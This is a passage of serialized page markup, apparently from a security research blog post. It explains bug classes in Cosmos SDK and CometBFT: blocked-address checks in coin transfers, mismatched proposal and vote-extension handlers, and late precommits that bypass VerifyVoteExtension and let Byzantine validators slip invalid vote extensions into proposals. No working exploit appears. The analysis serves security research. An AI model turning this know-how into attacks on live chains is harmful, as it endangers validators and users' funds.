...\n",{"type":24,"tag":930,"props":85591,"children":85592},{"class":932,"line":1919},[85593],{"type":24,"tag":930,"props":85594,"children":85595},{"style":959},[85596],{"type":30,"value":1831},{"type":24,"tag":930,"props":85598,"children":85599},{"class":932,"line":1927},[85600],{"type":24,"tag":930,"props":85601,"children":85602},{"style":959},[85603],{"type":30,"value":1840},{"type":24,"tag":930,"props":85605,"children":85606},{"class":932,"line":1935},[85607],{"type":24,"tag":930,"props":85608,"children":85609},{"style":1158},[85610],{"type":30,"value":23443},{"type":24,"tag":930,"props":85612,"children":85613},{"class":932,"line":1943},[85614],{"type":24,"tag":930,"props":85615,"children":85616},{"style":959},[85617],{"type":30,"value":2528},{"type":24,"tag":930,"props":85619,"children":85620},{"class":932,"line":1955},[85621],{"type":24,"tag":930,"props":85622,"children":85623},{"emptyLinePlaceholder":16},[85624],{"type":30,"value":2412},{"type":24,"tag":930,"props":85626,"children":85627},{"class":932,"line":1975},[85628,85632,85636,85640,85644,85648,85652],{"type":24,"tag":930,"props":85629,"children":85630},{"style":937},[85631],{"type":30,"value":79380},{"type":24,"tag":930,"props":85633,"children":85634},{"style":959},[85635],{"type":30,"value":1087},{"type":24,"tag":930,"props":85637,"children":85638},{"style":1023},[85639],{"type":30,"value":84199},{"type":24,"tag":930,"props":85641,"children":85642},{"style":943},[85643],{"type":30,"value":83023},{"type":24,"tag":930,"props":85645,"children":85646},{"style":959},[85647],{"type":30,"value":5579},{"type":24,"tag":930,"props":85649,"children":85650},{"style":1002},[85651],{"type":30,"value":85424},{"type":24,"tag":930,"props":85653,"children":85654},{"style":959},[85655],{"type":30,"value":2814},{"type":24,"tag":930,"props":85657,"children":85658},{"class":932,"line":1995},[85659,85663,85667,85671,85675],{"type":24,"tag":930,"props":85660,"children":85661},{"style":1023},[85662],{"type":30,"value":23327},{"type":24,"tag":930,"props":85664,"children":85665},{"style":943},[85666],{"type":30,"value":81720},{"type":24,"tag":930,"props":85668,"children":85669},{"style":959},[85670],{"type":30,"value":436},{"type":24,"tag":930,"props":85672,"children":85673},{"style":943},[85674],{"type":30,"value":79428},{"type":24,"tag":930,"props":85676,"children":85677},{"style":959},[85678],{"type":30,"value":2832},{"type":24,"tag":930,"props":85680,"children":85681},{"class":932,"line":2061},[85682,85687,85691,85695,85700],{"type":24,"tag":930,"props":85683,"children":85684},{"style":1023},[85685],{"type":30,"value":85686},"    recipient",{"type":24,"tag":930,"props":85688,"children":85689},{"style":943},[85690],{"type":30,"value":81720},{"type":24,"tag":930,"props":85692,"children":85693},{"style":959},[85694],{"type":30,"value":436},{"type":24,"tag":930,"props":85696,"children":85697},{"style":943},[85698],{"type":30,"value":85699},"AccAddress",{"type":24,"tag":930,"props":85701,"children":85702},{"style":959},[85703],{"type":30,"value":2832},{"type":24,"tag":930,"props":85705,"children":85706},{"class":932,"line":2085},[85707,85711,85716,85720,85725],{"type":24,"tag":930,"props":85708,"children":85709},{"style":1023},[85710],{"type":30,"value":64669},{"type":24,"tag":930,"props":85712,"children":85713},{"style":943},[85714],{"type":30,"value":85715}," math",{"type":24,"tag":930,"props":85717,"children":85718},{"style":959},[85719],{"type":30,"value":436},{"type":24,"tag":930,"props":85721,"children":85722},{"style":943},[85723],{"type":30,"value":85724},"Int",{"type":24,"tag":930,"props":85726,"children":85727},{"style":959},[85728],{"type":30,"value":2832},{"type":24,"tag":930,"props":85730,"children":85731},{"class":932,"line":2119},[85732,85736,85740],{"type":24,"tag":930,"props":85733,"children":85734},{"style":959},[85735],{"type":30,"value":5579},{"type":24,"tag":930,"props":85737,"children":85738},{"style":943},[85739],{"type":30,"value":17967},{"type":24,"tag":930,"props":85741,"children":85742},{"style":959},[85743],{"type":30,"value":981},{"type":24,"tag":930,"props":85745,"children":85746},{"class":932,"line":2135},[85747],{"type":24,"tag":930,"props":85748,"children":85749},{"style":1158},[85750],{"type":30,"value":23443},{"type":24,"tag":930,"props":85752,"children":85753},{"class":932,"line":2171},[85754,85759,85763,85767,85771,85776,85780,85784],{"type":24,"tag":930,"props":85755,"children":85756},{"style":1023},[85757],{"type":30,"value":85758},"    err",{"type":24,"tag":930,"props":85760,"children":85761},{"style":1158},[85762],{"type":30,"value":6137},{"type":24,"tag":930,"props":85764,"children":85765},{"style":1023},[85766],{"type":30,"value":84327},{"type":24,"tag":930,"props":85768,"children":85769},{"style":959},[85770],{"type":30,"value":436},{"type":24,"tag":930,"props":85772,"children":85773},{"style":1023},[85774],{"type":30,"value":85775},"bankKeeper",{"type":24,"tag":930,"props":85777,"children":85778},{"style":959},[85779],{"type":30,"value":436},{"type":24,"tag":930,"props":85781,"children":85782},{"style":1002},[85783],{"type":30,"value":84714},{"type":24,"tag":930,"props":85785,"children":85786},{"style":959},[85787],{"type":30,"value":2814},{"type":24,"tag":930,"props":85789,"children":85790},{"class":932,"line":2180},[85791,85795],{"type":24,"tag":930,"props":85792,"children":85793},{"style":1023},[85794],{"type":30,"value":29278},{"type":24,"tag":930,"props":85796,"children":85797},{"style":959},[85798],{"type":30,"value":2832},{"type":24,"tag":930,"props":85800,"children":85801},{"class":932,"line":2220},[85802,85807,85811,85816],{"type":24,"tag":930,"props":85803,"children":85804},{"style":1023},[85805],{"type":30,"value":85806},"        types",{"type":24,"tag":930,"props":85808,"children":85809},{"style":959},[85810],{"type":30,"value":436},{"type":24,"tag":930,"props":85812,"children":85813},{"style":1023},[85814],{"type":30,"value":85815},"ModuleName",{"type":24,"tag":930,"props":85817,"children":85818},{"style":959},[85819],{"type":30,"value":2832},{"type":24,"tag":930,"props":85821,"children":85822},{"class":932,"line":2246},[85823,85827],{"type":24,"tag":930,"props":85824,"children":85825},{"style":1023},[85826],{"type":30,"value":85224},{"type":24,"tag":930,"props":85828,"children":85829},{"style":959},[85830],{"type":30,"value":2832},{"type":24,"tag":930,"props":85832,"children":85833},{"class":932,"line":2269},[85834,85839],{"type":24,"tag":930,"props":85835,"children":85836},{"style":1023},[85837],{"type":30,"value":85838},"        coins",{"type":24,"tag":930,"props":85840,"children":85841},{"style":959},[85842],{"type":30,"value":2832},{"type":24,"tag":930,"props":85844,"children":85845},{"class":932,"line":2278},[85846],{"type":24,"tag":930,"props":85847,"children":85848},{"style":959},[85849],{"type":30,"value":2877},{"type":24,"tag":930,"props":85851,"children":85852},{"class":932,"line":2306},[85853,85857,85861,85865,85869],{"type":24,"tag":930,"props":85854,"children":85855},{"style":1079},[85856],{"type":30,"value":15386},{"type":24,"tag":930,"props":85858,"children":85859},{"style":1023},[85860],{"type":30,"value":51610},{"type":24,"tag":930,"props":85862,"children":85863},{"style":1158},[85864],{"type":30,"value":67472},{"type":24,"tag":930,"props":85866,"children":85867},{"style":937},[85868],{"type":30,"value":84989},{"type":24,"tag":930,"props":85870,"children":85871},{"style":959},[85872],{"type":30,"value":981},{"type":24,"tag":930,"props":85874,"children":85875},{"class":932,"line":2337},[85876,85880,85884,85888,85892,85896,85901,85905,85909],{"type":24,"tag":930,"props":85877,"children":85878},{"style":1079},[85879],{"type":30,"value":18847},{"type":24,"tag":930,"props":85881,"children":85882},{"style":1023},[85883],{"type":30,"value":85305},{"type":24,"tag":930,"props":85885,"children":85886},{"style":959},[85887],{"type":30,"value":436},{"type":24,"tag":930,"props":85889,"children":85890},{"style":1002},[85891],{"type":30,"value":85022},{"type":24,"tag":930,"props":85893,"children":85894},{"style":959},[85895],{"type":30,"value":1010},{"type":24,"tag":930,"props":85897,"children":85898},{"style":1270},[85899],{"type":30,"value":85900},"\"failed to send coins: %w\"",{"type":24,"tag":930,"props":85902,"children":85903},{"style":959},[85904],{"type":30,"value":962},{"type":24,"tag":930,"props":85906,"children":85907},{"style":1023},[85908],{"type":30,"value":51509},{"type":24,"tag":930,"props":85910,"children":85911},{"style":959},[85912],{"type":30,"value":1054},{"type":24,"tag":930,"props":85914,"children":85915},{"class":932,"line":2346},[85916],{"type":24,"tag":930,"props":85917,"children":85918},{"style":959},[85919],{"type":30,"value":1840},{"type":24,"tag":930,"props":85921,"children":85922},{"class":932,"line":2355},[85923],{"type":24,"tag":930,"props":85924,"children":85925},{"style":1158},[85926],{"type":30,"value":23443},{"type":24,"tag":930,"props":85928,"children":85929},{"class":932,"line":2398},[85930],{"type":24,"tag":930,"props":85931,"children":85932},{"style":959},[85933],{"type":30,"value":2528},{"type":24,"tag":920,"props":85935,"children":85937},{"code":85936,"language":79244,"meta":7,"className":79245,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[85938],{"type":24,"tag":156,"props":85939,"children":85940},{"__ignoreMap":7},[85941,85973,86052,86067,86075,86106,86164,86171,86178],{"type":24,"tag":930,"props":85942,"children":85943},{"class":932,"line":933},[85944,85948,85952,85956,85961,85965,85969],{"type":24,"tag":930,"props":85945,"children":85946},{"style":937},[85947],{"type":30,"value":79380},{"type":24,"tag":930,"props":85949,"children":85950},{"style":959},[85951],{"type":30,"value":1087},{"type":24,"tag":930,"props":85953,"children":85954},{"style":1023},[85955],{"type":30,"value":84199},{"type":24,"tag":930,"props":85957,"children":85958},{"style":943},[85959],{"type":30,"value":85960},"BaseKeeper",{"type":24,"tag":930,"props":85962,"children":85963},{"style":959},[85964],{"type":30,"value":5579},{"type":24,"tag":930,"props":85966,"children":85967},{"style":1002},[85968],{"type":30,"value":84714},{"type":24,"tag":930,"props":85970,"children":85971},{"style":959},[85972],{"type":30,"value":2814},{"type":24,"tag":930,"props":85974,"children":85975},{"class":932,"line":984},[85976,85980,85984,85988,85992,85996,86001,86005,86009,86014,86018,86022,86026,86030,86035,86039,86043,86048],{"type":24,"tag":930,"props":85977,"children":85978},{"style":1023},[85979],{"type":30,"value":28935},{"type":24,"tag":930,"props":85981,"children":85982},{"style":943},[85983],{"type":30,"value":1102},{"type":24,"tag":930,"props":85985,"children":85986},{"style":959},[85987],{"type":30,"value":436},{"type":24,"tag":930,"props":85989,"children":85990},{"style":943},[85991],{"type":30,"value":79428},{"type":24,"tag":930,"props":85993,"children":85994},{"style":959},[85995],{"type":30,"value":962},{"type":24,"tag":930,"props":85997,"children":85998},{"style":1023},[85999],{"type":30,"value":86000},"senderModule",{"type":24,"tag":930,"props":86002,"children":86003},{"style":943},[86004],{"type":30,"value":39117},{"type":24,"tag":930,"props":86006,"children":86007},{"style":959},[86008],{"type":30,"value":962},{"type":24,"tag":930,"props":86010,"children":86011},{"style":1023},[86012],{"type":30,"value":86013},"recipientAddr",{"type":24,"tag":930,"props":86015,"children":86016},{"style":943},[86017],{"type":30,"value":81720},{"type":24,"tag":930,"props":86019,"children":86020},{"style":959},[86021],{"type":30,"value":436},{"type":24,"tag":930,"props":86023,"children":86024},{"style":943},[86025],{"type":30,"value":85699},{"type":24,"tag":930,"props":86027,"children":86028},{"style":959},[86029],{"type":30,"value":962},{"type":24,"tag":930,"props":86031,"children":86032},{"style":1023},[86033],{"type":30,"value":86034},"amt",{"type":24,"tag":930,"props":86036,"children":86037},{"style":943},[86038],{"type":30,"value":81720},{"type":24,"tag":930,"props":86040,"children":86041},{"style":959},[86042],{"type":30,"value":436},{"type":24,"tag":930,"props":86044,"children":86045},{"style":943},[86046],{"type":30,"value":86047},"Coins",{"type":24,"tag":930,"props":86049,"children":86050},{"style":959},[86051],{"type":30,"value":2832},{"type":24,"tag":930,"props":86053,"children":86054},{"class":932,"line":993},[86055,86059,86063],{"type":24,"tag":930,"props":86056,"children":86057},{"style":959},[86058],{"type":30,"value":5579},{"type":24,"tag":930,"props":86060,"children":86061},{"style":943},[86062],{"type":30,"value":17967},{"type":24,"tag":930,"props":86064,"children":86065},{"style":959},[86066],{"type":30,"value":981},{"type":24,"tag":930,"props":86068,"children":86069},{"class":932,"line":1057},[86070],{"type":24,"tag":930,"props":86071,"children":86072},{"style":1158},[86073],{"type":30,"value":86074}," ...\n",{"type":24,"tag":930,"props":86076,"children":86077},{"class":932,"line":1066},[86078,86082,86086,86090,86094,86098,86102],{"type":24,"tag":930,"props":86079,"children":86080},{"style":1079},[86081],{"type":30,"value":2322},{"type":24,"tag":930,"props":86083,"children":86084},{"style":1023},[86085],{"type":30,"value":84327},{"type":24,"tag":930,"props":86087,"children":86088},{"style":959},[86089],{"type":30,"value":436},{"type":24,"tag":930,"props":86091,"children":86092},{"style":1002},[86093],{"type":30,"value":84730},{"type":24,"tag":930,"props":86095,"children":86096},{"style":959},[86097],{"type":30,"value":1010},{"type":24,"tag":930,"props":86099,"children":86100},{"style":1023},[86101],{"type":30,"value":86013},{"type":24,"tag":930,"props":86103,"children":86104},{"style":959},[86105],{"type":30,"value":1503},{"type":24,"tag":930,"props":86107,"children":86108},{"class":932,"line":1075},[86109,86113,86118,86122,86126,86130,86134,86138,86143,86147,86152,86156,86160],{"type":24,"tag":930,"props":86110,"children":86111},{"style":1079},[86112],{"type":30,"value":42286},{"type":24,"tag":930,"props":86114,"children":86115},{"style":1023},[86116],{"type":30,"value":86117}," errorsmod",{"type":24,"tag":930,"props":86119,"children":86120},{"style":959},[86121],{"type":30,"value":436},{"type":24,"tag":930,"props":86123,"children":86124},{"style":1002},[86125],{"type":30,"value":83988},{"type":24,"tag":930,"props":86127,"children":86128},{"style":959},[86129],{"type":30,"value":1010},{"type":24,"tag":930,"props":86131,"children":86132},{"style":1023},[86133],{"type":30,"value":83650},{"type":24,"tag":930,"props":86135,"children":86136},{"style":959},[86137],{"type":30,"value":436},{"type":24,"tag":930,"props":86139,"children":86140},{"style":1023},[86141],{"type":30,"value":86142},"ErrUnauthorized",{"type":24,"tag":930,"props":86144,"children":86145},{"style":959},[86146],{"type":30,"value":962},{"type":24,"tag":930,"props":86148,"children":86149},{"style":1270},[86150],{"type":30,"value":86151},"\"%s is not allowed to receive funds\"",{"type":24,"tag":930,"props":86153,"children":86154},{"style":959},[86155],{"type":30,"value":962},{"type":24,"tag":930,"props":86157,"children":86158},{"style":1023},[86159],{"type":30,"value":86013},{"type":24,"tag":930,"props":86161,"children":86162},{"style":959},[86163],{"type":30,"value":1054},{"type":24,"tag":930,"props":86165,"children":86166},{"class":932,"line":1122},[86167],{"type":24,"tag":930,"props":86168,"children":86169},{"style":959},[86170],{"type":30,"value":12704},{"type":24,"tag":930,"props":86172,"children":86173},{"class":932,"line":1131},[86174],{"type":24,"tag":930,"props":86175,"children":86176},{"style":1158},[86177],{"type":30,"value":86074},{"type":24,"tag":930,"props":86179,"children":86180},{"class":932,"line":1144},[86181],{"type":24,"tag":930,"props":86182,"children":86183},{"style":959},[86184],{"type":30,"value":2528},{"type":24,"tag":33,"props":86186,"children":86187},{},[86188,86190,86197],{"type":30,"value":86189},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":24,"tag":37,"props":86191,"children":86194},{"href":86192,"rel":86193},"https://hackerone.com/reports/3018307",[41],[86195],{"type":30,"value":86196},"improper decimal handling in the group module",{"type":30,"value":436},{"type":24,"tag":68,"props":86199,"children":86201},{"id":86200},"same-same-but-different",[86202],{"type":30,"value":86203},"Same, Same... But Different",{"type":24,"tag":33,"props":86205,"children":86206},{},[86207,86209,86215,86216,86222,86223,86229,86230,86236],{"type":30,"value":86208},"Cosmos exposes several consensus-level interfaces, such as ",{"type":24,"tag":156,"props":86210,"children":86212},{"className":86211},[],[86213],{"type":30,"value":86214},"PrepareProposal",{"type":30,"value":962},{"type":24,"tag":156,"props":86217,"children":86219},{"className":86218},[],[86220],{"type":30,"value":86221},"ProcessProposal",{"type":30,"value":962},{"type":24,"tag":156,"props":86224,"children":86226},{"className":86225},[],[86227],{"type":30,"value":86228},"ExtendVote",{"type":30,"value":9599},{"type":24,"tag":156,"props":86231,"children":86233},{"className":86232},[],[86234],{"type":30,"value":86235},"VerifyVoteExtension",{"type":30,"value":86237},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":24,"tag":33,"props":86239,"children":86240},{},[86241],{"type":30,"value":86242},"Two of the best-known attack surfaces are",{"type":24,"tag":478,"props":86244,"children":86245},{},[86246,86275],{"type":24,"tag":100,"props":86247,"children":86248},{},[86249,86254,86255,86260,86262,86267,86268,86273],{"type":24,"tag":156,"props":86250,"children":86252},{"className":86251},[],[86253],{"type":30,"value":86214},{"type":30,"value":1087},{"type":24,"tag":156,"props":86256,"children":86258},{"className":86257},[],[86259],{"type":30,"value":86228},{"type":30,"value":86261},") outputs being rejected due to ",{"type":24,"tag":156,"props":86263,"children":86265},{"className":86264},[],[86266],{"type":30,"value":86221},{"type":30,"value":1087},{"type":24,"tag":156,"props":86269,"children":86271},{"className":86270},[],[86272],{"type":30,"value":86235},{"type":30,"value":86274},") over-validating, resulting in liveness failures.",{"type":24,"tag":100,"props":86276,"children":86277},{},[86278,86280,86285,86286,86291,86293,86298,86299,86304],{"type":30,"value":86279},"Malicious proposals and vote extensions not created through the ",{"type":24,"tag":156,"props":86281,"children":86283},{"className":86282},[],[86284],{"type":30,"value":86214},{"type":30,"value":1087},{"type":24,"tag":156,"props":86287,"children":86289},{"className":86288},[],[86290],{"type":30,"value":86228},{"type":30,"value":86292},") are accepted due to ",{"type":24,"tag":156,"props":86294,"children":86296},{"className":86295},[],[86297],{"type":30,"value":86221},{"type":30,"value":1087},{"type":24,"tag":156,"props":86300,"children":86302},{"className":86301},[],[86303],{"type":30,"value":86235},{"type":30,"value":86305},") under-validating.",{"type":24,"tag":33,"props":86307,"children":86308},{},[86309],{"type":30,"value":86310},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":24,"tag":33,"props":86312,"children":86313},{},[86314,86316,86322,86324,86329],{"type":30,"value":86315},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":24,"tag":156,"props":86317,"children":86319},{"className":86318},[],[86320],{"type":30,"value":86321},"VoteExtensions",{"type":30,"value":86323}," within ",{"type":24,"tag":156,"props":86325,"children":86327},{"className":86326},[],[86328],{"type":30,"value":86214},{"type":30,"value":86330},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":24,"tag":33,"props":86332,"children":86333},{},[86334,86336,86341,86343,86348],{"type":30,"value":86335},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":24,"tag":156,"props":86337,"children":86339},{"className":86338},[],[86340],{"type":30,"value":86228},{"type":30,"value":86342}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":24,"tag":156,"props":86344,"children":86346},{"className":86345},[],[86347],{"type":30,"value":86235},{"type":30,"value":86349},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":24,"tag":33,"props":86351,"children":86352},{},[86353,86355,86360],{"type":30,"value":86354},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":24,"tag":156,"props":86356,"children":86358},{"className":86357},[],[86359],{"type":30,"value":86235},{"type":30,"value":86361}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":24,"tag":33,"props":86363,"children":86364},{},[86365,86367,86372,86374,86380],{"type":30,"value":86366},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":24,"tag":156,"props":86368,"children":86370},{"className":86369},[],[86371],{"type":30,"value":86235},{"type":30,"value":86373},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":24,"tag":156,"props":86375,"children":86377},{"className":86376},[],[86378],{"type":30,"value":86379},"Proposal",{"type":30,"value":436},{"type":24,"tag":920,"props":86382,"children":86384},{"code":86383,"language":79244,"meta":7,"className":79245,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[86385],{"type":24,"tag":156,"props":86386,"children":86387},{"__ignoreMap":7},[86388,86500,86507,86514,86522,86530,86614,86621,86629,86683,86690,86711,86718,86790,86806,86813,86887,86942,86949,87011,87018,87025,87044,87051,87058,87065],{"type":24,"tag":930,"props":86389,"children":86390},{"class":932,"line":933},[86391,86395,86399,86404,86408,86413,86417,86422,86426,86431,86435,86439,86443,86448,86452,86457,86462,86466,86471,86475,86480,86484,86488,86492,86496],{"type":24,"tag":930,"props":86392,"children":86393},{"style":937},[86394],{"type":30,"value":79380},{"type":24,"tag":930,"props":86396,"children":86397},{"style":959},[86398],{"type":30,"value":1087},{"type":24,"tag":930,"props":86400,"children":86401},{"style":1023},[86402],{"type":30,"value":86403},"cs ",{"type":24,"tag":930,"props":86405,"children":86406},{"style":1158},[86407],{"type":30,"value":1410},{"type":24,"tag":930,"props":86409,"children":86410},{"style":943},[86411],{"type":30,"value":86412},"State",{"type":24,"tag":930,"props":86414,"children":86415},{"style":959},[86416],{"type":30,"value":5579},{"type":24,"tag":930,"props":86418,"children":86419},{"style":1002},[86420],{"type":30,"value":86421},"addVote",{"type":24,"tag":930,"props":86423,"children":86424},{"style":959},[86425],{"type":30,"value":1010},{"type":24,"tag":930,"props":86427,"children":86428},{"style":1023},[86429],{"type":30,"value":86430},"vote",{"type":24,"tag":930,"props":86432,"children":86433},{"style":1158},[86434],{"type":30,"value":12924},{"type":24,"tag":930,"props":86436,"children":86437},{"style":943},[86438],{"type":30,"value":8871},{"type":24,"tag":930,"props":86440,"children":86441},{"style":959},[86442],{"type":30,"value":436},{"type":24,"tag":930,"props":86444,"children":86445},{"style":943},[86446],{"type":30,"value":86447},"Vote",{"type":24,"tag":930,"props":86449,"children":86450},{"style":959},[86451],{"type":30,"value":962},{"type":24,"tag":930,"props":86453,"children":86454},{"style":1023},[86455],{"type":30,"value":86456},"peerID",{"type":24,"tag":930,"props":86458,"children":86459},{"style":943},[86460],{"type":30,"value":86461}," p2p",{"type":24,"tag":930,"props":86463,"children":86464},{"style":959},[86465],{"type":30,"value":436},{"type":24,"tag":930,"props":86467,"children":86468},{"style":943},[86469],{"type":30,"value":86470},"ID",{"type":24,"tag":930,"props":86472,"children":86473},{"style":959},[86474],{"type":30,"value":79461},{"type":24,"tag":930,"props":86476,"children":86477},{"style":1023},[86478],{"type":30,"value":86479},"added",{"type":24,"tag":930,"props":86481,"children":86482},{"style":943},[86483],{"type":30,"value":15157},{"type":24,"tag":930,"props":86485,"children":86486},{"style":959},[86487],{"type":30,"value":962},{"type":24,"tag":930,"props":86489,"children":86490},{"style":1023},[86491],{"type":30,"value":51509},{"type":24,"tag":930,"props":86493,"children":86494},{"style":943},[86495],{"type":30,"value":17980},{"type":24,"tag":930,"props":86497,"children":86498},{"style":959},[86499],{"type":30,"value":1503},{"type":24,"tag":930,"props":86501,"children":86502},{"class":932,"line":984},[86503],{"type":24,"tag":930,"props":86504,"children":86505},{"style":1158},[86506],{"type":30,"value":23443},{"type":24,"tag":930,"props":86508,"children":86509},{"class":932,"line":993},[86510],{"type":24,"tag":930,"props":86511,"children":86512},{"emptyLinePlaceholder":16},[86513],{"type":30,"value":2412},{"type":24,"tag":930,"props":86515,"children":86516},{"class":932,"line":1057},[86517],{"type":24,"tag":930,"props":86518,"children":86519},{"style":1422},[86520],{"type":30,"value":86521},"    // A precommit for the previous height?\n",{"type":24,"tag":930,"props":86523,"children":86524},{"class":932,"line":1066},[86525],{"type":24,"tag":930,"props":86526,"children":86527},{"style":1422},[86528],{"type":30,"value":86529},"    // These come in while we wait timeoutCommit\n",{"type":24,"tag":930,"props":86531,"children":86532},{"class":932,"line":1075},[86533,86537,86542,86546,86551,86555,86559,86563,86568,86572,86576,86580,86584,86588,86593,86597,86601,86605,86610],{"type":24,"tag":930,"props":86534,"children":86535},{"style":1079},[86536],{"type":30,"value":15386},{"type":24,"tag":930,"props":86538,"children":86539},{"style":1023},[86540],{"type":30,"value":86541}," vote",{"type":24,"tag":930,"props":86543,"children":86544},{"style":959},[86545],{"type":30,"value":436},{"type":24,"tag":930,"props":86547,"children":86548},{"style":1023},[86549],{"type":30,"value":86550},"Height",{"type":24,"tag":930,"props":86552,"children":86553},{"style":1158},[86554],{"type":30,"value":1400},{"type":24,"tag":930,"props":86556,"children":86557},{"style":1242},[86558],{"type":30,"value":7129},{"type":24,"tag":930,"props":86560,"children":86561},{"style":1158},[86562],{"type":30,"value":6402},{"type":24,"tag":930,"props":86564,"children":86565},{"style":1023},[86566],{"type":30,"value":86567}," cs",{"type":24,"tag":930,"props":86569,"children":86570},{"style":959},[86571],{"type":30,"value":436},{"type":24,"tag":930,"props":86573,"children":86574},{"style":1023},[86575],{"type":30,"value":86550},{"type":24,"tag":930,"props":86577,"children":86578},{"style":1158},[86579],{"type":30,"value":17291},{"type":24,"tag":930,"props":86581,"children":86582},{"style":1023},[86583],{"type":30,"value":86541},{"type":24,"tag":930,"props":86585,"children":86586},{"style":959},[86587],{"type":30,"value":436},{"type":24,"tag":930,"props":86589,"children":86590},{"style":1023},[86591],{"type":30,"value":86592},"Type",{"type":24,"tag":930,"props":86594,"children":86595},{"style":1158},[86596],{"type":30,"value":6402},{"type":24,"tag":930,"props":86598,"children":86599},{"style":1023},[86600],{"type":30,"value":81254},{"type":24,"tag":930,"props":86602,"children":86603},{"style":959},[86604],{"type":30,"value":436},{"type":24,"tag":930,"props":86606,"children":86607},{"style":1023},[86608],{"type":30,"value":86609},"PrecommitType",{"type":24,"tag":930,"props":86611,"children":86612},{"style":959},[86613],{"type":30,"value":981},{"type":24,"tag":930,"props":86615,"children":86616},{"class":932,"line":1122},[86617],{"type":24,"tag":930,"props":86618,"children":86619},{"style":1158},[86620],{"type":30,"value":84913},{"type":24,"tag":930,"props":86622,"children":86623},{"class":932,"line":1131},[86624],{"type":24,"tag":930,"props":86625,"children":86626},{"style":1422},[86627],{"type":30,"value":86628},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":24,"tag":930,"props":86630,"children":86631},{"class":932,"line":1144},[86632,86637,86641,86645,86649,86653,86657,86662,86666,86671,86675,86679],{"type":24,"tag":930,"props":86633,"children":86634},{"style":1023},[86635],{"type":30,"value":86636},"        added",{"type":24,"tag":930,"props":86638,"children":86639},{"style":959},[86640],{"type":30,"value":962},{"type":24,"tag":930,"props":86642,"children":86643},{"style":1023},[86644],{"type":30,"value":51509},{"type":24,"tag":930,"props":86646,"children":86647},{"style":1158},[86648],{"type":30,"value":6137},{"type":24,"tag":930,"props":86650,"children":86651},{"style":1023},[86652],{"type":30,"value":86567},{"type":24,"tag":930,"props":86654,"children":86655},{"style":959},[86656],{"type":30,"value":436},{"type":24,"tag":930,"props":86658,"children":86659},{"style":1023},[86660],{"type":30,"value":86661},"LastCommit",{"type":24,"tag":930,"props":86663,"children":86664},{"style":959},[86665],{"type":30,"value":436},{"type":24,"tag":930,"props":86667,"children":86668},{"style":1002},[86669],{"type":30,"value":86670},"AddVote",{"type":24,"tag":930,"props":86672,"children":86673},{"style":959},[86674],{"type":30,"value":1010},{"type":24,"tag":930,"props":86676,"children":86677},{"style":1023},[86678],{"type":30,"value":86430},{"type":24,"tag":930,"props":86680,"children":86681},{"style":959},[86682],{"type":30,"value":1054},{"type":24,"tag":930,"props":86684,"children":86685},{"class":932,"line":1169},[86686],{"type":24,"tag":930,"props":86687,"children":86688},{"style":1158},[86689],{"type":30,"value":84913},{"type":24,"tag":930,"props":86691,"children":86692},{"class":932,"line":1191},[86693,86697,86702,86706],{"type":24,"tag":930,"props":86694,"children":86695},{"style":1079},[86696],{"type":30,"value":18847},{"type":24,"tag":930,"props":86698,"children":86699},{"style":1023},[86700],{"type":30,"value":86701}," added",{"type":24,"tag":930,"props":86703,"children":86704},{"style":959},[86705],{"type":30,"value":962},{"type":24,"tag":930,"props":86707,"children":86708},{"style":1023},[86709],{"type":30,"value":86710},"err\n",{"type":24,"tag":930,"props":86712,"children":86713},{"class":932,"line":1223},[86714],{"type":24,"tag":930,"props":86715,"children":86716},{"style":959},[86717],{"type":30,"value":1840},{"type":24,"tag":930,"props":86719,"children":86720},{"class":932,"line":1281},[86721,86726,86730,86734,86738,86743,86747,86752,86756,86761,86765,86770,86774,86778,86782,86786],{"type":24,"tag":930,"props":86722,"children":86723},{"style":1023},[86724],{"type":30,"value":86725},"    